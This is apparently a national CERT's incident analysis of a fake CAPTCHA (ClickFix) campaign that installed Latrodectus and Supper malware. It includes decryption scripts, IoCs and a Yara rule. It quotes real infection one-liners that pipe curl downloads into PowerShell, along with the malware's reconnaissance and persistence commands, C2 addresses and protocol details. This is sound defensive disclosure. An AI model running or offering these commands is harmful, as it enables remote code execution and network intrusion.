Report an incident
Report an incident

ClickFix in action: how fake captcha can lead to a company-wide infection
17 February 2026 | Jarosław Jedynak | #malware, #analysis, #dfir

Introduction

A few months ago we became aware that a large Polish organisation was the victim of malware attack and the attacker was active within their network. We assisted law enforcement and the organisation with the investigation and remediation of the incident.

While our analysis relies on data gathered during the forensic investigation of a specific company, fake CAPTCHA campaigns are opportunistic and not targeted at a particular organisation. This case provides a good opportunity to showcase a complete attack chain and how a single deceived user can pose a significant threat. We will also publish an in-depth analysis of the leveraged malware samples.

Malware analysis

During the initial forensic investigation of one of the machines, we identified a directory %APPDATA%\Intel which drew our attention. The following files were present:

b7f8750851e70ec755343d322d7d81ea0fc1b12d4a1ab6a60e7c8605df4cd6a5  igfxSDK.exe
af45a728552ccfdcd9435c40ace60a9354d7c1b52abf507a2f1cb371dada4fde  version.dll
be5bcdfc0dbe204001b071e8270bd6856ce6841c43338d8db914e045147b0e77  wtsapi32.dll

While version.dll and igfxSDK.exe were legitimate Windows binaries, wtsapi32.dll was suspicious and this scenario immediately resembled DLL side-loading.

A forensics disk scan identified two additional suspicious files in the /Users/[username]/AppData/Local/ directory:

2528df60e55f210a6396dd7740d76afe30d5e9e8684a5b8a02a63bdcb5041bfc 245282244.dll
21b953dc06933a69bcb2e0ea2839b47288fc8f577e183c95a13fc3905061b4e6 760468301.dll

Infection vector

First, we had to determine how the malware ended up on the victim machines, and we identified the following command in the logs:

cmd /c curl naintn.com/amazoncdn.com/oeiich37874cj30dkk43885j10vj38h38jd/nrs/opn/ca/ |  powershell

This strongly suggested a Fake CAPTCHA (ClickFix) attack. In this scenario, attacker attempts to convince the victim to copy a malicious snippet, and execute it using the Win+R shortcut. We are observing an increasing number of attacks executed this way in Poland.

By hunting for this URL, we found a sample 6673794376681c48ce4981b42e9293eee010d60ef6b100a3866c0abd571ea648 on VirusTotal. By searching for events related to this URL in the logs, we found additional likely malicious domains. One of these domains was known by to host Fake CAPTCHA, because we saw it in a previous incident and managed to trigger the malicious code:

We also found a Telegram token embedded in JavaScript code on this website:

const TELEGRAM_BOT_TOKEN = '7708755483:An7X_G5mbD3YhjDI_Ss';
const TELEGRAM_CHAT_ID = '78510';

One notable aspect of this token is that it's too short to be a valid Telegram token, and therefore the code could not have worked as intended. It's possible that a mistake was made, but we also consider the option that the code was generated by an LLM and not modified.

We also found another similar command in the logs, with the same invalid token embedded:

cmd /c curl jzluw.com/cdn-dynmedia-1.microsoft.com/is/n03ufh3k003jdhkg99fhhas/is/content/ |  powershell

By hunting for similar indicators, we found more Polish domains infected in the same way. Proactive threat hunting allows us to respond to threats more quickly.

Latrodectus sample

When the initial analysis was completed, we began an in-depth malware analysis, to expand our knowledge of the incident and extract more IoCs. The first sample we analysed was the sideloaded DLL

be5bcdfc0dbe204001b071e8270bd6856ce6841c43338d8db914e045147b0e77  wtsapi32.dll

We executed it with DRAKVUF Sandbox and observed requests similar to the following:

https://gasrobariokley.com/work/?counter=0&type=1&guid=3B7FFFF7F331576B6FA3479BDF43&os=6&arch=1&username=JohnDoe&group=2201209746&ver=2.3&up=7&direction=gasrobariokley.com
https://fadoklismokley.com/work/?counter=0&type=1&guid=3B7FFFF7F331576B6FA3479BDF43&os=6&arch=1&username=JohnDoe&group=2201209746&ver=2.3&up=7&direction=fadoklismokley.com

During manual analysis, we determined that the sample was obfuscated using an unidentified obfuscator. By loading this DLL under a debugger and intercepting the correct VirtualProtect call, we managed to produce a clean process dump. The process matched the win_latrodectus_g0 rule (by Slavo from SWITCH, shared as TLP:GREEN on Malpedia for registered users). By checking available online materials about that family, we were able to confirm this sample belongs to the Latrodectus malware family. One thing worth noting is that the version observed in the request URL is 2.3. We were not able to find any public analysis of Latrodectus version 2, let alone v2.3 specifically. Nevertheless, there are many high-quality analyses of version 1, and the changes are not very significant. This is not the most recent version - we found Latrodectus samples with version at least as high as v2.5.

One interesting anti-debug technique is that the malware will refuse to start when started with rundll.exe or regsrv32.exe. Some other typical anti-debugging features were present. The most challenging one was NTDLL unhooking, reading ntdll.dll from disk and manually importing it into process, bypassing typical AV and debugger detection mechanics. This obfuscation technique was defeated by making another dump after load and recovering imports automatically.

Finally, to make sense of the final memory dump, we had to implement string decryption routines ourselves. We used the following simplistic Python script:

from malduck import *
key = bytes([0xd6, 0x23, 0xb8, 0xef, 0x62, 0x26, 0xce, 0xc3, 0xe2, 0x4c, 0x55, 0x12, 0x7d, 0xe8, 0x73, 0xe7, 0x83, 0x9c, 0x77, 0x6b, 0xb1, 0xa9, 0x3b, 0x57, 0xb2, 0x5f, 0xdb, 0xea, 0xd, 0xb6, 0x8e, 0xa2, ])

datas = open("encrypted.txt", "r").read().strip().split("\n")
for entry in datas:
  addr, encoded_data = entry.split()
  chunk = bytes.fromhex(encoded_data)
  length, data = u16(chunk[:2]), chunk[2:]

  print(addr, aes.ctr.decrypt(key, data[:16], data[16:16+length]).decode().replace("\x00", ""))

The key was extracted by manual reverse engineering, while encrypted.txt contained encrypted strings extracted from the binary and was generated using the following ghidralib script:

from ghidralib import *

f = Function("string_decrypt")
for call in f.calls:
    try:
        e = Emulator()
        e.emulate(call.address - 7, [call.address])
        key = e["rcx"]
        size = read_u16(key)
        print(hex(key) + " " + read_bytes(key, size+25).encode("hex"))
    except:
        pass

Here, we made use of the fact that in almost all cases the encrypted string reference was set immediately before the function call, and we could emulate a few instructions before each function call and read the ECX register state.

After filtering out the less relevant ones, a list of decrypted strings is:

0x18000fd60 runnung
0x180010060 Kallichore
0x180010898 https://gasrobariokley.com/work/
0x1800108d0 https://fadoklismokley.com/work/
0x1800112b8 \update_data.dat
0x180010a10 Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
0x180011168 \Registry\Machine\
0x180010bd0 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
0x180010340 KK4Yp3894K6jOwLqbvOT035AwCpkKlxZeCzBLsKHt0k3j5yI0REck3FegyF6rcWq
0x1800103a0 counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s
0x180010420 counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s
0x1800104a0 /c reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid | findstr MachineGuid
0x180010580 C:\Windows\System32\cmd.exe
0x1800105e0 /c reg query "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\IDConfigDB\Hardware Profiles\0001" /v HwProfileGuid | findstr HwProfileGuid
0x180010710 C:\Windows\System32\cmd.exe
0x180010770 counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s
0x180010830 &dpost=
0x180010190 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
0x180010220 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
0x1800100b0 Content-Type: application/x-www-form-urlencoded
0x180010118 POST
0x180010138 GET
0x1800102c0 CLEARURL
0x1800102e0 URLS
0x180010300 COMMAND
0x180010320 ERROR
0x180010000 front
0x180010020 /files/
0x18000fc00 &desklinks=[
0x18000fae8 &proclist=[
0x18000fb28 "pid": 
0x18000fb68 "proc": 
0x18000fba8 "subproc": [
0x18000fa10 "pid": 
0x18000fa50 "proc": 
0x18000fa90 "subproc": [
0x18000ffb0 C:\Windows\System32\cmd.exe
0x180010fc0 &mac=
0x180011038 &computername=%s
0x180011060 &domain=%s
0x180010f40 explorer.exe
0x180011320 URLS|%d|%s
0x180010ee0 12345
0x18000f000 /c ipconfig /all
0x18000f070 C:\Windows\System32\cmd.exe
0x18000f038 /c systeminfo
0x18000f0c0 C:\Windows\System32\cmd.exe
0x18000f110 /c nltest /domain_trusts
0x18000f190 C:\Windows\System32\cmd.exe
0x18000f1e0 /c nltest /domain_trusts /all_trusts
0x18000f240 C:\Windows\System32\cmd.exe
0x18000f290 /c net view /all /domain
0x18000f300 C:\Windows\System32\cmd.exe
0x18000f158 /c net view /all
0x18000f350 C:\Windows\System32\cmd.exe
0x18000f3a0 /c net group "Domain Admins" /domain
0x18000f400 C:\Windows\System32\cmd.exe
0x18000f450 /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List
0x18000f520 C:\Windows\System32\wbem\wmic.exe
0x18000f580 /c net config workstation
0x18000f5d0 C:\Windows\System32\cmd.exe
0x18000f620 /c wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName | findstr /V /B /C:displayName || echo No Antivirus installed
0x18000f780 C:\Windows\System32\cmd.exe
0x18000f7d0 /c whoami /groups
0x18000f810 C:\Windows\System32\cmd.exe
0x18000f2d8 &ipconfig=
0x18000f860 &systeminfo=
0x18000f888 &domain_trusts=
0x18000f8b0 &domain_trusts_all=
0x18000f8e0 &net_view_all_domain=
0x18000f910 &net_view_all=
0x18000f938 &net_group=
0x18000f960 &wmic=
0x18000f980 &net_config_ws=
0x18000f9a8 &net_wmic_av=
0x18000f9d0 &whoami_group=
0x180010e38 Content-Type: application/dns-message
0x180010e78 Content-Type: application/ocsp-request
0x180010eb8 Content-Length: 0
0x180010f20 &stiller=

It is worth noting that among those strings:

  • Kallichore is a group name
  • KK4Yp3894K6jOwLqbvOT035AwCpkKlxZeCzBLsKHt0k3j5yI0REck3FegyF6rcWq is the communication encryption key
  • CLEARURL, URLS, COMMAND are C2 command names
  • There are multiple cmd.exe invocation patterns that can be used for detection.

That provided us with sufficient IoCs to work with, and we didn't investigate further.

One final point worth noting that we learned from this highly recommended VMRay blog post is that the group parameter in the HTTP request (group=2201209746 in our example) is a FNV-1a hash of the campaign name. This lets us hypothetically brute-force campaign names given just an HTTP request.

Supper payloads

We also analysed two additional suspicious DLLs found on the machine. The first one was 245282244.dll:

2528df60e55f210a6396dd7740d76afe30d5e9e8684a5b8a02a63bdcb5041bfc 245282244.dll
21b953dc06933a69bcb2e0ea2839b47288fc8f577e183c95a13fc3905061b4e6 760468301.dll

The first sample was packed with the same packer as the Latrodectus sample. It was executed under a debugger and dumped on the first execute access to a dynamically created RWX section. This allowed us to make a very clean dump that was easy to analyse.

The second one was packed with another unrecognised packer type, which was more difficult to analyse and we did not obtain a clean memory dump (but we didn't need it). It was not present on VT at the time of the analysis.

The main function in the unpacked DLLs is DllRegisterServer. The hardcoded server IPs are

  • 85.239.54.130:1080, 85.239.54.130:8080 - from first sample, not live during our analysis
  • 162.19.199.110:4043 - from the first sample, operational at the time of our analysis,
  • 185.233.166.27:443 - from the second sample

We identified this malware family as Supper.

As a persistence mechanism, the sample added itself as a Windows scheduled tasks:

schtasks.exe /Create /SC MINUTE /TN GoogleUpdateTask /TR "cmd.exe /C del \"%s\" && schtasks.exe /Delete /TN GoogleUpdateTask /F" /F

To fully understand the malware's capabilities, we reverse-engineered its communication protocol. The malware sends the following message to the C2 server:

struct msg {
    char[4]     const1 = 0x00691155
    char[4]     srvip;  // IP of the target server
    char[0x100] computer_name
    char[0x100] user_name
    char[0x10]  domain_name
};

We only received command 1, subcommand 0 in response. In this case, malware first executes the following shell command:

cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "%s"

And after this two-byte header, the C2 response looks like this:

struct resp {
    uint16_t type1;  // Command 1
    uint16_t type2;  // Command 2
    uint32_t length;
    uint32_t key;
    char     data[]; // encrypted
};

This header is "encrypted" using one-byte XOR key equal to "M", and the data is encrypted using a custom algorithm shown below:

def custom(data, key):
    out = []
    v2 = key[0]
    for v1 in range(len(data)):
        v2 = (v1 + v2 * 2) % 256
        out.append(key[v1 % 4] ^ data[v1] ^ (v2 % 256))
    return bytes(out)

Again, the only command we received, and therefore the only command we analysed, was command number 6. This command was updated the list of active C2 servers. Currently known C2s are saved to the directory %s/orl or %s/s01bafg (this directory varies between samples). Other supported commands include, at minimum, a SOCKS proxy feature as well as execution of custom binaries delivered from C2.

Knowledge of the communication protocol allowed us to implement a script to automatically fetch more C2 IPs, and obtain the following list of IPs from C2:

  • 162.19.199.110: port 4043
  • 146.19.49.130: port 8080
  • 185.233.166.27: port 443
  • 85.239.54.130: inactive
  • 171.130.169.141: inactive
  • 130.49.19.146: invalid/decoy
  • 110.199.19.162: invalid/decoy
  • 27.166.233.185: invalid/decoy

"Decoy" IPs are probably not intentionally deceptive - they are a mirror copy of real C2 IPs (for example, 4.3.2.1 instead of 1.2.3.4). We suspect that operators were uncertain which byte order is correct and decided to send both variants as a precaution (IP address is sent by the server packed as DWORD).

The following script was used to decrypt C2 communication:

import struct
from malduck import chunks, u32, u16, xor

def custom(data, key):
    out = []
    v2 = key[0]
    for v1 in range(len(data)):
        v2 = (v1 + v2 * 2) % 256
        out.append(key[v1 % 4] ^ data[v1] ^ (v2 % 2**32))
    return bytes(out)

def decrypt(ip, payload):
    print("Payload:", payload.hex())

    hdr = xor(payload[:12], b"M"*12)
    length = u32(hdr[4:8])
    key = hdr[8:12]

    body = payload[12:12+length]
    data = custom(body, key)

    ips = []
    for c in chunks(data, 4):
        ips.append(".".join(str(q) for q in c))
    print("Decrypted IPS:", ips)

The following Yara rule can be used to match an unpacked sample of Supper:

rule certpl_supper
{
    meta:
        description = "Supper malware, often pre-ransomware"
        author = "msm"
        date = "2025-10-01"
    strings:
        $a1 = "(%d)\trecv type-%d len %d (0x%x)"
        $a2 = "bad socks5 request"
        $a3 = "[DEBUG MAIN SOCKS] Starting Init SOCKS"
        $magic = {55 11 69 00}
    condition:
        3 of them
}

Conclusion

Although the initial vector is relatively simple, fake CAPTCHA attacks have a significant potential for large disruption, because they give attacker immediate code execution capabilities.

Considering this, we hope that this blog post will raise awareness of this threat.

Share: